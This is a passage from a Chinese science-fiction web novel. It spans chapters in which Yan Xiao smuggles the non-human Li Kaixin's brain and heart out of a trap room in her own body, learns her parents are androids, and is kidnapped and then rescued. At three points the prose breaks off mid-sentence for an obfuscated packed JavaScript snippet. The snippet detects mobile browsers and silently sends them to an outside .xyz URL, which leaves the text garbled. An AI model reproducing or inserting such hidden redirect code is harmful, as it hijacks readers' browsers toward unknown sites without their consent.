这话藏了太多意思,言笑不敢追问。衣料窸窣,言笑听见李开心起身,“在你出来之前,房间就震动过了,现在我们应该可以离开这里。” 黑色过后颜色重置,往哪个方向走都没关系,当光线再次亮起,李开心问言笑,“你的匕首呢?” 靴筒上的绑带空着,李开心眼神倒是很好。 言笑信口瞎掰,“打猎的时候掉了。” 再怎么说也经历过好几轮厮杀与虎口脱险,推箱子的过程逐渐得心应手起来。红橙黄绿斑驳陆离,推出白色的次数越来越多,已知颜色的3*3立方体逐渐连在一起,形成一条明朗通路。 所有通路最终交汇于一点,一个从外部看来占据整个3*3立方体体积的白色房间。震动结束,站立面积变得十分狭窄,眼前是一片白墙,上有一左一右两道缝隙。 言笑站在缝隙外面,悄摸摸往里张望,又叫来李开心,压低嗓音问他,“里头那个神神叨叨的东西是什么?” 李开心站在言笑身后,越过她的头顶向内看去。“九宫八卦。” 巨大八卦桌旁环绕固定着八把梨花木座椅,桌上以浓墨画出卦象。言笑大概明白这些都是传统文化,用于占卜吉凶,“道理我都懂,可桌子中间不是应该画个八卦图什么的么,那么大一个红色按钮算怎么回事?” 李开心按着言笑肩膀,把言笑推过缝隙,“去看看不就知道了。” 目前二人所置身的白色房间比之前的房间都大,天顶很高,感受不到光源所在,但光线与自然光无异。高墙上的缝隙与整个墙面等高,把人类衬得渺小。言笑凑近桌子看那按钮,无语道:“闹着玩啊?” 红色按钮上写了四个字:芝麻开门。 这也不是泡泡第一次不成体系出牌。实际上这个白色房间本身就很不成体系:八卦桌后方摆满实验仪器,和言笑之前见到的专业实验室差不多,虽然不知道能满足什么实验需求,但和奇门遁甲出现在一起就有种科学与迷信不顾死活掐架的美。 李开心正在仔细观察周围的八把椅子,“你看,有两把椅子不一样。” 言笑并不认识这是什么木材,只觉得椅子的设计古怪。在言笑的认知里,木头椅子都是老得不能再老的老物件,可这把椅子的流线型椅背极其符合人体工学,设计与材质不在同一个时代。李开心说:“在大概坐下之后到脖子的地方,多出了一根……针?” 两把椅子在八卦桌的相对位置,言笑没敢坐下,只大概比划一下高度,那针确实非常适合刺入枕骨大孔。“这是要把我们钉在椅子上?” 李开心直起身,看向桌上的卦象图,“你知道八门么?” “我对命理学没有研究。” “你可以理解为八卦方位。惊门,开门,休门,生门,伤门,杜门,景门,死门,它们各自都有原始宫位。其中生门的原始宫位在艮宫,死门的原始宫位在坤宫。” 泡泡里混久了,言笑十分擅长挑选重点,“你别告诉我,这两把椅子的位置就是一个生门一个死门。” 李开心说:“这两把椅子的位置就是一个生门一个死门。” “……” “这次的游戏规则看起来很清楚。我们两个会一个生,一个死。” “你说泡泡不会让我们死的。” “‘死门’不一定代表真的会死。”李开心解释道:“死门是三凶门之一,可凶兆与客观意义上的‘死’是两个概念。或许走了生门,可以逃出生天,走了死门,就要一辈子留在这里。” 言笑估量了一下她与李开心的格斗实力,如果必须留一个人在这儿,那都不需要打一架才能出结果。思来想去,言笑决定暂时稳住李开心,为自己觅个活口,“如果只是一生一死,那么多乱七八糟的仪器算什么?还有——”往身后的双缝门一指,“这两道门算什么?特意一扇墙上开这么窄的两条门有必要吗?双喜临门?双管齐下?双宿双飞?双,双……” 言笑说着说着词穷卡壳,李开心却忽然道:“双缝干涉。” 言笑在言辞那儿混着的时候没少被补物理课,闻此结巴一下,“我,你,我们不是微观粒子。” 李开心深吸一口气,“或许这是泡泡给我们的‘设定’。” 物理课不是白补的,言笑沉默几秒,“无论是一生一死,还是一个能出去,一个出不去,是不是都算状态相反?” 量子纠缠。 李开心伸出一根手指,缓缓从针尖处抹过去,“或许这根针,就是让我们处于纠缠态的关键。” 如此看来,想要离开这个白色房间很简单:只要留下一个人作为代价就可以了。这一瞬间言笑甚至开始设想应该如何独自在这儿生存下去——实验室一般来讲会有元素原料,合成食物应该没有问题,但是合成食物实在不太好吃,可惜了没把之前房间里的野猪崽子偷来几只养着。 李开心眼看言笑的表情由绝望到欢欣,再迅速切换为悲戚与遗憾,纳闷问道:“你在想什么?” 跟李开心讲话没必要客气,反正也打不过他。言笑实话实说,“在想你是不是要把我扔在这里。” “……你还是别想了。” “不想怎么办?”言笑灵机一动,把李开心生拉硬拽到实验区域,“你比我有经验,你帮我看看都哪些仪器是用来合成食物的。对了,有没有菜谱啊,你走之前给我留几个菜谱。” 这些仪器李开心不必细看也知道用途,回头对言笑说:“我有办法让我们两个都出去。但我怕你不愿意。” 这话不是好兆头。言笑古怪地打量李开心的神色,谨慎问道:“那要是我不愿意呢?” 李开心没说话。就盯着她。 能出去就行了还要啥自行车,总比独自一人吃一辈子合成食物强。言笑闭着眼睛嘶嘶吸气,咬牙切齿视死如归道:“行了行了你说吧。” 李开心难得没有直言不讳,言笑悄悄抬起眼皮,甚至在他一贯平和的脸上看到了为难与困窘。 李开心说:“你知道我不是人类。” “……所以呢?” “我只需要保住大脑和心脏。” “打印个塑料袋让我把你大脑和心脏拎出去?听起来有点不靠谱啊,泡泡又不是傻的,可别我走了塑料袋留下了。” “拎可能拎不出去。如果要带出去,得装在你的身体里。” 言笑脑子里轰地炸出一朵烟花。懂了。 言笑原地暴走,转圈,眼前噼里啪啦全是火花,突然蹦着高儿声嘶力竭,“李开心你让我付出那么大代价你应该跟我叫妈!” 李开心转头检查实验区的元素储备,“或者我们两个可以永远生活在这里。” 言笑眼前发黑。李开心气人简直太含蓄了——谁家好人能忍受困在这白房子里待到死?余生就天天和他四目相对? 培养缸里灌注营养液。李开心打开显微镜,让言笑看营养液中的细胞分裂。胚泡发育十分迅速,很快变成一小团鼓鼓囊囊的细胞。言笑盯着看了会儿,忽然两手抱臂捂胸,戒备地上下打量李开心,“这玩意要怎么处理?” 李开心平静道:“需要移植进入你的身体,促进激素分泌,羊膜形成,子宫扩张。自然状态下产生激素变化要比给你直接注射激素好些,但我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059004|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会适当使用激素,加快这个过程,让你不需要忍受太久。” 李开心这个回答明显略过了言笑的问题重点。“……我是想知道我用不用脱裤子。” “裤子还是要脱的。”眼看言笑就要再次暴走,李开心及时补充道:“我可以设置程序完成手术过程,不需要我亲自动手。” 言笑的第一次妊娠反应来得猝不及防,正和李开心相对而坐吃着麻婆豆腐饭,忽然一阵恶心涌上喉头,呕吐物直接从鼻子里喷出来。 饶是见多识广如李开心,此刻也傻眼了。李开心扔下勺子快步过来,给她拍背、擦嘴,手忙脚乱去找水,然后被炸雷似的怒吼震得一激灵。 “李开心你这什么馊主意啊!” 李开心手足无措站在原地挨骂,“你还想吃点什么?我去再给你弄一份。” “吃吃吃你就知道吃!”言笑撇了撇嘴,要哭似的,突然扯起嗓子开嚎,“我什么都吃不下去!” “那就先不吃了。”李开心立刻收拾盘子,连自己的盘子也收拾起来。 “可我饿啊!” “你想吃什么?” “我吃不下去!” “那,那就先不吃?” “都说了我饿啊我饿啊我饿啊!” “我可以给你打营养针,血糖上去会缓解饥饿感。” 言笑嚎得更投入了,“我看你像营养针!” 接下来一个多月,言笑的生存重点都是与食物搏斗。言笑吐得吃不下去,倒是因此衍生出了一个兴趣爱好:看李开心吃。水煮肉片毛血旺,夫妻肺片辣子鸡,末了言笑还嫌不够,开始发挥天马行空的想像力。 “我想吃鲸鱼肉和鲨鱼肉,放辣椒炖炖。” 李开心被辣得满头冒汗,正在拿纸擦脸,“这两样不好吃。我可以给你培育三文鱼。” “我就要吃这俩!”言笑蛮不讲理,啃了一口黄瓜,“反正也不是我吃,你吃给我看!” 随着子宫逐渐长大,言笑开始做一种新式噩梦:肚子里的活物拳打脚踢,然后她从阴|道生出一个鲜血淋漓的大脑。赵钱孙戴着塑胶手套给言笑喊号加油,言笑两只脚丫子举在半空,赵钱孙拔萝卜似的猛薅那颗大脑,嘴里喊着,“还有胎盘还有胎盘,再坚持一下三,二,一——” “啵叽”一下像是马桶搋子被拔离马桶壁,赵钱孙没来得及收回力气,捧着大脑飞了出去。大脑另一端拴着一颗突突跳动的心脏,言笑定睛一看,卧槽连结它们的竟然真的是一条粗壮的脐带。 怀孕的本质目的是扩张子宫,言笑并不需要走完整个孕育流程。在肚子长到和吃撑了差不多大小之后,李开心说,可以进行下一步了。 实验区的手术机器足够先进,言笑不需要做任何有技术含量的事情。先是李开心躺进机器,由机器剥离出他的大脑和心脏,言笑再将他的躯壳搬到死门的椅子上,自己躺进手术机器。 手术是半麻醉的,言笑始终神志清醒。在胚胎移出子宫之后,言笑按下暂停键。 虽然手术程序完全由李开心设置,言笑跟言辞学习的时候也经常摸鱼,可要是想修改程序、让手术直接跳到最后一步缝合,也不是什么难事。 按照目前已知的信息推断,除了与李开心互换身体时见到的那个与他喝酒的“言笑”是在进入泡泡前就被李开心挖了心脏,其他“言笑”应该都是在进入泡泡几次之后被他枪杀的。从前言笑以为自己有些利用价值,这才把进入泡泡当作保命手段,可万万没想到她就是个耗材,杀多少都无所谓。这其中有个矛盾点言笑始终没想明白:李开心说魔方实验室研究员不能保留样本,那她的原身——或者她就是那个原身——就不应该是研究员。但如果她不是研究员,她的利用价值又体现在哪里? 想不明白,但只有一点可以确定:即使她把李开心杀死在泡泡里,等出了泡泡照样会迎来追杀。可再怎么说也喜欢李开心一场,被他杀就太伤情了,不如主动杀死他。言笑也不清楚李开心对她的吸引力来源于何,这种有悖常理的心悦无异于死囚爱上铡刀,鸡腿爱上吃货。 这里是魔方,又不是斯德哥尔摩。 33. 魔方10 被剔除了大脑的脑袋像一颗被挖空了瓤的西瓜。言笑将李开心的脑袋咔嚓插在那根足有寸长的针上,又坐到李开心对面的位置,心一横眼一闭,将枕骨大孔朝后撞了过去。 探针刺入的瞬间像是有一片斑斓色彩在眼前炸开,神经生长蚕食躯体,钻石滴落成雨,海洋蔓延过陆地,星星坠入海底再也发不出声音。言笑似乎能听见神经元的生长、蔓延,她与八卦桌对面的李开心勾连纠缠,成了不受经典力学束缚的两颗微粒。按下“芝麻开门”,抽离感自头顶传来,言笑扑通落在飞船脚下,不远处是李开心被撞得滚出好几个来回的车。 言笑捂着肚子开车,一路风驰电掣去找赵钱孙。赵钱孙还穿着上次的沾油白大褂和绿色秋衣,听言笑说完来龙去脉,惊讶地抬抬眼镜,俯身敲言笑的肚皮。 “小八,你真在里面?” “行了别敲了。”言笑赶路赶得头晕,闭着眼一把推开赵钱孙,“又不是西瓜。” 临了临了,言笑还是没下定决心把已经碎成零件的李开心扔在泡泡里。再怎么说李开心也救过她不少次数,要是在李开心对她暴露出杀意之前就先把他杀了,那属于恩将仇报不仁不义。言笑算盘打得挺好,要是终有一日李开心对她举枪,她可以在李开心扣动扳机之前去亲他摸他脱他衣服,不顾礼义廉耻将他尽情非礼,到那时候李开心就会启动自毁程序,烧得只差蒸发。 赵钱孙看着迷糊,手术做得还行。大灯关闭,手术结束,言笑晕头转向,看见赵钱孙正把带血的大脑和心脏咕咚扔进培养缸。两颗器官突然在营养液里舒展开来,像是两条干涸后许久终于入水的金鱼。 “小八说你这里应该有适合他用的元素袋。”床头放着一杯补剂,言笑从手术床爬起来,一口闷了,舔舔嘴唇抹抹嘴,“说让我从你这里拿元素袋,再去黑市打印。” “没有适合他的。”赵钱孙一摊手,“前两天转手卖了。” “真的假的?”言笑瞪大眼睛,“他说你一毛不拔,你不给也可能是因为你抠。” 赵钱孙调出库存记录给言笑看,“真没有了。除非他愿意身高降10公分,然后当个体脂率40%的胖子,或者——”往下滑了一页,给言笑看标签,“他愿意当个女人。” 哪个都不靠谱。按照李开心的说法,黑市的打印机器精度一般,能承受人体遗传信息信息量的机器更是少之又少,所以元素袋中的元素配比才分外重要,因为黑市的打印机器几乎没有容错率。 言笑亲自上手翻赵钱孙的库存记录,最后问他,“你这个旧喇叭可以给我吗?” 言笑左手拎喇叭,右手拎塑料袋,甩着塑料袋离开了赵钱孙的破诊所。找到旅馆安顿下来,言笑倒金鱼似的把塑料袋里的东西一股脑倒进洗手池,又给旧喇叭接上电路,连通大脑。旧喇叭有录音功能,言笑按下录音键,一本正经清清喉咙,“喂喂,喂喂,112358,收到请讲话。” 旧喇叭里冒出一阵嘶嘶啦啦的杂音,随后,李开心的声音响了起来。 “拿到元素袋了吗?” 言笑再次按下录音键,“赵钱孙说他没有,前两天卖给别人了。” “这个孙子。” “这玩意我上哪给你找去?我自己想保小命都费劲,你别忘了到现在都有人追杀我呢。不如你给你上司发个信号什么的?能这么操作吗?” “能。”李开心犹豫了一下,“但是他们一定会拿我做一些奇怪的实验,从前他们曾经试图使我诱导分化出翅膀。” “这不挺好么,上树快。要不也不能让野猪追得嗷嗷跑。” “你让赵钱孙……”扑通一声,杵在洗手池边的旧喇叭突然站立不稳,栽进还带着血丝的营养液里。旧喇叭发出尖利的变调杂音,随后倏然安静下来。 言笑捞出旧喇叭,控控水,“喂喂,喂喂?” 旧喇叭再也没有声音。 “正好安静会儿。”言笑打了个哈欠,把旧喇叭扔在一边,鞋子一蹬,上床睡觉。反正营养液里这俩玩意目前看起来仍然生龙活虎,多泡泡也没事。言笑一阖眼就迅速睡去,哪想没过五分钟,终端响了。 什么命啊这是。通讯来自陌生号码,言笑骂骂咧咧接了起来,“谁啊?你最好有正事。” 对面是个电子合成的沙哑声音。“言笑,如果想让你父母活着,现在回家。” 言笑瞬间清醒。 虽然早想过会受到人身威胁,但言笑也没想到对方会菜到直接拿她家庭成员开刀。李开心还在洗手池里,所以作案人员先排除李开心;既然李开心的战斗力足够掀翻她的头盖骨,那么此举来自李开心的背后势力也没必要,排除完了那就只剩一个选项——从前追杀田斯斯的人找到了她。 言笑先赶去赵钱孙那儿,威逼利诱搞了把枪,然后开车疾驰,朝家里那幢熟悉的破楼而去。 以言笑看连续剧的经验来说,80%的杀人绑架都应该发生在远离闹市的荒废地点,可对方明显十分嚣张,竟然青天白日就登堂入室了。也不知道现在秦笙在哪儿,可直觉告诉言笑秦笙可能在舞厅彩排,但凡秦笙在家,歹徒刚才电话威胁必然会多一道筹码。 楼梯昏暗狭窄,言笑蹑手蹑脚,警惕地将枪藏在背后。忽然光线骤亮,上方有个声音传来,“别藏了,上来吧。” 大门四敞大开,言笑进屋,见到言爸言妈被五花大绑堵着嘴,此刻正坐在沙发脚下。绑匪一共三人,虎背熊腰,其中两人挤在沙发里,拿枪对着言爸言妈的后脑勺。 余下一人似乎是领头的,手里连枪都没有,轻蔑地朝言笑抬抬下巴,“把枪放下,跟我们走一趟。只要你跟我们走,我保证你爸你妈不会有任何危险。” 言笑将狭小空间里的数人全都看了一遍,忽然抬手就是啪啪两枪,也不瞄准,压缩空气自枪管中疾射而出。两枪全都正中眉心,言爸言妈身后二人应声而倒。领头那个没想到言笑有胆子在他眼皮底下动手,脸色顿变,飞扑过来要抢言笑的枪。言笑被对方捏住手腕,动弹不得,眼看枪管被迫向上,干脆咬牙扣动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061512|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扳机。砰的一声枪响,头顶悬挂的水晶灯猝然砸下,领头绑匪躲闪不及,被流光溢彩的廉价水晶砸了一头一脸。 这破水晶灯和言笑家拥挤凌乱的风格十分不相配,当初是言妈喜欢,非要买来,没想到还真能派上用场。言笑倒退两步,又开一枪,领头绑匪反应极快,抓着最大的一块水晶挡脸,言笑立刻转移攻击目标,枪口对准领头绑匪的心脏。 这次没有枪响。再试,还没有。 言笑想起刚才赵钱孙说,这枪有点旧,也不知道好不好使,你凑合用。言笑以为赵钱孙就是随口说说,毕竟他那破诊所里虽然什么东西都很摇摇欲坠,但偏偏一切都能运转正常。 哪想到这话竟然是玩真的。 坏了坏了。言笑顿时手忙脚乱,倒退两步,差点被地上的薯片桶滑个跟头。领头绑匪目露凶光,咬牙切齿看向刚刚暴毙的同伴,“是你要把这件事变复杂,那就别怪我不客——” 话音未落,一个古董花瓶从门外飞了过来,正中领头绑匪的后脑勺。花瓶四分五裂,领头绑匪摸了摸头,满手是血,秦笙抄着菜刀冲进屋来,口中大喊,“言笑快跑!” 言笑知道秦笙能打,可秦笙即使替换过金属骨骼,毕竟骨骼仍是女性结构,对上人高马大的职业杀手真不一定能撑太久。解绳子是来不及了,言笑一手拎爸一手拎妈,将两人提麻袋似的提起来,用力往门口的方向推,“快跑快跑!” 秦笙的加入使战局立刻混乱起来。领头绑匪往腰间一摸,拔出空|气|枪,言笑立刻变了脸色,端起木头凳子朝他胳膊猛砸。 刚才言笑之所以敢为所欲为,就是因为以言笑的判断,对方应该并不急着杀她——他们想要活的,这与当初田斯斯被一枪爆头然后抛尸垃圾场有本质区别。如果对方想要她命,事情反而简单,即使因为懒得找她而绑架她父母,那么在她踏进屋里的那一瞬间开枪了结她就完事了。 可这些绑匪没有,并且正因如此才被言笑反杀。 但领头绑匪对待秦笙显然没有同等耐心,当秦笙挥起菜刀,他立刻发挥职业本能,当场拔枪。言笑丝毫不怀疑对方会对秦笙开枪,所以在这一刻的最优解是:由言笑掩护,让剩下三人逃跑。 “跑,秦笙!快跑!” 言笑猛推秦笙一把,想着留得青山在不怕没柴烧,只要对方想活捉她,那她就是这间屋子里最安全的人。秦笙回身要拽言笑,领头绑匪再次举枪,冲秦笙扣动扳机。 秦笙一刻也没犹豫,反身抓住言爸言妈挡在自己与言笑身前。领头绑匪的枪比赵钱孙的枪不知领先多少版本,空气弹发出几乎没有间隙。言笑甚至来不及思考也来不及反应,眼睁睁看着言爸言妈被密集的空气弹扫成筛子。 但这并不是让言笑最绝望的。 随着空气弹射入言爸言妈额头,皮肤瞬间穿透,但却没有血涌出来。焦黑的烟从伤口突突往外冒,言笑闻到一股电子元件烧焦的金属味道。 他们没有人类的大脑。 他们不是活人。 34. 魔方11 秦笙把两具尸体朝领头绑匪推过去,拉着言笑撒腿猛跑。言笑脑子完全宕机,脚也好像不是自己的,但本能还在,知道跑下楼以后要赶紧开车逃命。 李开心这辆车时速上限好几千,一脚油门轰出去直接飞上了天。秦笙心有余悸,脸都白了,“本来今天我在彩排,但突然觉得会有不好的事情发生,我就回来了。你这段时间都到哪儿去了?我早说了我们得搬家!” 言笑一语不发,不知道该说什么。 可以通过高阶图灵测试的人工智能禁止被设置为人形。 但这样的“人”,言笑身边有三个。 最关键的地方在于,秦笙知道言爸言妈的秘密,刚才她拿两人当挡箭牌的时候丝毫没犹豫,在她眼里他们两个压根就不是人。这样的话,秦笙是什么人?她自己又是什么人?又或者,她是“人”吗? 车速慢慢降下,核动力车停在一片破旧居民楼旁。下城区少见高档车,有个小孩悄悄躲在垃圾堆旁边看着。 言笑嗓子发干,每说一个字都很艰难,“你有什么事情想要告诉我吗?” 秦笙像是有点慌了,嗫嚅半天,欲言又止。 “你是谁?我是谁?我爸我妈是谁——又或者,我是什么东西,我爸我妈是什么东西?他们不是活人,那我是吗?” 空气变得黏稠,言笑连呼吸都滞涩起来——这一刻言笑先是庆幸她还需要呼吸,然后想到,需要呼吸并不是身为人类的必要非充分条件。 许久过去。没有回答。 言笑如释重负般呼了口气,漫无目的看向前挡风玻璃外面,没有转头去看秦笙的表情,说:“下车。” 躲在垃圾堆旁边看车的小孩被妈妈牵走了,妈妈低头往他嘴里塞了一块小饼干。“我不会再问你问题,因为我知道你不会回答我,如果你愿意回答我的任何提问,你也不会把秘密瞒这么久。” “言笑……” “下去吧。我已经不相信你了。” 秦笙独自站在尘土漫天的路边,言笑开车扬长而去。 言笑不知道应该去哪儿,随后突然想起来,李开心的零件还在旅馆里。在进入第三个泡泡之前言笑还想,只要再进一次泡泡,赚够能在上城区边缘买个小房子的钱就收手,可事实证明连续剧不是瞎编的,但凡想着最后再怎么怎么一次就收手一般都会出事。家都没了,人也没了,还买什么房子。 说来也怪她迟钝,之前秦笙家里被盗,秦笙的反应已经足够匪夷所思。如果那时候她听秦笙的话,立刻回去搬家,或许今天的一切都不会发生,或许她依然生活在美好谎言里。 李开心的车太过引人注目。言笑把车停了老远,走着回到旅馆。旧旅馆少有客人,言笑独自一人踩着吱吱嘎嘎的楼梯,上楼,钥匙插进锁孔,钥匙一扭,却没有锁舌弹开的声音与触感。 言笑立刻心里咯噔一下,急不可耐推开房门。狭小空间一览无遗,窗户关着,旧喇叭摔在地上,洗手池里依然盛着营养液,其中泡着的大脑与心脏却不翼而飞。 无论李开心是被谁带走的,这个旅馆都已经不安全了。言笑扭头要跑,却猝然停住脚步。 一根枪管抵在她的额头上。 绕了这么大个圈子,一切还是回到事情原本的走向:言笑终于亲自被绑架了。果然如她所料,对方想要活口,言笑被罩住脑袋塞进车里,带到一处别墅。 言笑方向感不算非常好,但在被遮挡视线时也在努力感知车速与方向,如果估量正确,这个地方应该处于上城区与下城区的交界线附近。别墅的全息绿化做得很有设计感,植被掩映,一片浓绿,甚至还有蝴蝶。如此看来这里是上城区的概率高些,下城区人一般没这么讲究。 门开,面前是一架背对自己的轮椅。轮椅缓缓转了过来,言笑这才见到这起绑架始作俑者的真面目。 这是一位满头白发的老者,老到言笑甚至难以估计年龄。他穿着一身考究的白色正装,皮鞋纤尘不染。对视发生在一瞬之间,老者叫她,“言笑。” 言笑破罐子破摔,叉腰趾高气昂问他,“你要杀我吗?” 老者回答,“不是现在。” 靠了,还真要杀。 言笑四下张望,在茶几上看见一个果盘,也没客气,过去直接拿个苹果啃着,“能不能让我死个明白?我是谁?你为什么杀我?” 老者慢条斯理抻了抻手上的白手套,“不是所有问题都能等来答案。” 言笑毫不掩饰地翻了个白眼。出现在别墅里其实已经出乎言笑意料,言笑本以为她会被抓进实验室,开开颅或者放放血什么的,尽到一个实验体应尽的职责。可现下除了受到死亡威胁,其他一切都无可挑剔,就连吃着的苹果都是自然生长的天然苹果,这不是一般人能有的待遇。在鹦鹉螺城的时候言笑看过一本《高效养猪》,其中说到要是想让猪肉鲜美可口,就要让它保持心情愉悦,死在快乐中,而不是死在痛苦里。 言笑觉得这个老者可能想肢解她,然后把她吃掉。或许这就是他的长寿秘诀。老者的白发一丝不乱,现在大概已经很少有人保留着用发油梳头的古老习惯。时光在他的眼角与面容上肆意凿刻,却无法带走骨子里的从容与妥帖。言笑盯着对方的眼睛看,这双眼睛一定不是许多年前就这般浑浊,他也曾有过锋利年岁,他也曾是风华正茂、潇洒恣意的少年。 言笑不想再看他。 言笑移开了视线。 老者很快离开,别墅陷入寂静。言笑没太搞懂他出现在这里的目的是什么,因为《高效养猪》里并没提到如果想要让猪死得瞑目,必须在屠宰之前拜访那只倒霉的猪。别墅门窗由程序控制,言笑上过的那几天课全然派不上用场,别说修改程序打开门窗,言笑甚至无法将程序调取出来。 除了无法逃离,别墅中的一切堪称完美,有吃有喝,还有换洗的衣服。言笑洗了个澡,左手炸鸡右手可乐地看连续剧,生命的意义在于躺平,实在逃不出去就别垂死挣扎。 变故发生在入夜时分。 大门上的红灯突然亮起,随后嘀嘀两声。言笑立刻警觉,给连续剧按了暂停,剧里天真懵懂的清纯女大学生与正装革履的霸道总裁同时面向大门,与言笑一样正襟危坐。 被塞进别墅时言笑见过这扇大门的正常开关状态,明显不是这样。难道是李开心?如果白发老者的人是靠跟踪言笑追到旅馆,那么带走李开心的人就不应该是他们。无论他们究竟是何立场、究竟分了几个立场,时间都对不上。 言笑心里七上八下,趴到窗边试图看看门外光景。红灯突然转为绿灯,大门霍然洞开。蒙面少年飞奔进屋,抓起还趴在窗上的言笑撒腿就跑。 言笑没等调整好状态就被迫进入逃跑模式,差点被拽了个跟头。别墅外面停了辆车,少年将言笑塞进车里,窗外景致忽然向前,车辆正在极速倒退。 “你这车能飞吗?”言笑压根顾不得想这少年是谁,急迫问道。 “飞行模式容易被发现。”少年显然没有摘下面巾的意思,倒车一段距离后骤然转向。面巾遮得严实,言笑只能勉强从少年眼中看出几分稚气,这人没准儿比她还小几岁,看起来也就十七八。车辆疾驰向前,突然眼前划过白昼一般的剧烈光线,言笑大喊,“小心!” 岔路突然有车驶出,横拦在前。少年面不改色推动拉杆,飞快倒车,然而一丛灯光倏而自后亮起,退路也被堵得严严实实。 “飞行模式!快!”言笑急不可耐,就差把少年踢开,亲自坐进驾驶座里。少年也意识到反正已经被发现了,飞不飞都无所谓,刚刚按 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15066259|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下飞行键,前路轰地传来一声巨响。 一辆红色跑车全速撞向之前的拦路车辆,混乱灯光之中言仓促看见驾驶座里秦笙的脸。 “言笑,快跑!” 车辆陡然升空,退路追兵紧随其后,红色跑车倒退一段距离,旋即展开飞行翼升空拦截,车速奇快,与紧追言笑的追兵重重撞在一起。 言笑回头看着火山爆发似的轰鸣与喧嚣,惊魂未定,这才想起质问蒙面少年,说话嗓音都变了调,“你和秦笙是一伙的?” 蒙面少年估计也吓得不轻,同样变着调没好气道:“我才不和她一伙呢。” 车辆几乎一直飞到安全地区尽头。再远就太过靠近海洋了,辐射强度超过安全阈值。蒙面少年把车停在一个小土坡上,长长舒了口气,又给言笑递了瓶水,“歇会儿。” 言笑接了,却没打开,戒备地盯着蒙面少年,随时准备迎接对方发难。 蒙面少年笑了,似乎猜到言笑在想什么。“我下去抽根烟。” “年纪轻轻抽什么烟?” “年纪轻轻怎么不能抽烟?” “舞厅里都是那些上了年纪的老头子才爱抽烟。” 蒙面少年打开车门,“你要不要也下来透透气?你没有问题想问我吗?” 这下言笑可拒绝不了了,跟随蒙面少年下车。两人站在小土坡顶端,蒙面少年点烟,隔着面巾吸了一口,莹白指头熟练地一掸烟灰,迎着言笑的怪异眼光问,“干什么?” 言笑说:“隔着面巾能抽烟,我在想你会不会隔着面巾吃东西。” 蒙面少年才不理她嘲讽,从容吐了个烟圈。“我知道你心里一定有很多疑问。其实,”少年挥了挥手,示意言笑看向土坡下方,“一切故事都从这里开始。” 土坡下方黑黢黢的,伸手不见五指。言笑问他,“从哪里开始?” “就这里啊。” “……能讲明白一点吗?” 蒙面少年无奈叹气,“你还真是什么都不知道。你看,”换了只手拿烟,硬掰着言笑肩膀让她往下看,还推她往前走了两步,“你都看见了什么?” 言笑瞬间有点拿不定主意这是不是国王的新衣。“好像有鬼。穿着一件红衣服,头发很长。” “对。还有呢?” 还真是借坡下驴。言笑继续瞎编,“鬼拿着一把剪子,要剪头发。旁边还有个——” 视线略侧,微弱光线倏忽一闪,言笑近乎本能抓住蒙面少年手腕,一个过肩摔将他摔下土坡。 都不用说在泡泡里见过哪些牛鬼蛇神,言笑从前游戏就没少玩,花拳绣腿不太好使,戒备心还是有一些的。刚才蒙面少年瞅准言笑信口胡编的工夫,手里藏了个注射器,绕过言笑后背就要往她脖子上扎。 而扎人脖子沦落的下场就是噗噜噜滚下去。 言笑在沙尘里打了个喷嚏,跑到车旁去开车门,果然打不开。其实即使车门能打开,偷用蒙面少年的车也不安全。那土坡听起来有点高度,蒙面少年滚了半天,言笑估摸他一时三刻爬不起来,当即撒腿狂奔。 地平线外亮起两道车灯,迅速由远及近。言笑脚步一顿,立刻扭头继续奔跑——跑不跑得过另说,先跑再说。 来人几乎瞬间追赶上来。核动力车停在言笑身边,李开心降下车窗,“别跑了,上车。” 言笑早就跑岔了气,刚才完全在靠动物本能强撑。但凡蒙面少年没摔昏,他早晚得追上来,要是真1v1,言笑不可能打得过一个男人。 车门打开,言笑捂着腰瘫坐进李开心身旁的位置。尘土与泥沙被甩在身后,远处下城区居民楼的轮廓若隐若现。 矮子里头拔高个,现在最让言笑信任的人竟然是实验体刽子手李开心。 这世界疯了。 35. 少年游01 “哎,亲爱的,”旁边的人拿胳膊肘撞撞言笑,“你看我今天的裙子是不是更适合搭这支口红?” 言笑扭头,仔细比对眼前这位长发“美女”的唇色与他手中旋出半支的唇膏,张口结舌半天,艰难地得出结论,“这种问题你该问秦笙。我看着都差不多。” 温厉不满地“嘁”了一声,旋回唇膏,拎着海蓝色的裙角从吧台椅跳下来,高跟鞋咔哒落地,“我去洗手间换个颜色。” “等会儿。”隔着一众华服与瑰丽灯光,言笑朝远处招了招手,“饮料来了,喝完再去换色吧,要不你也得去补色。” “没事,我可以再补一遍。” 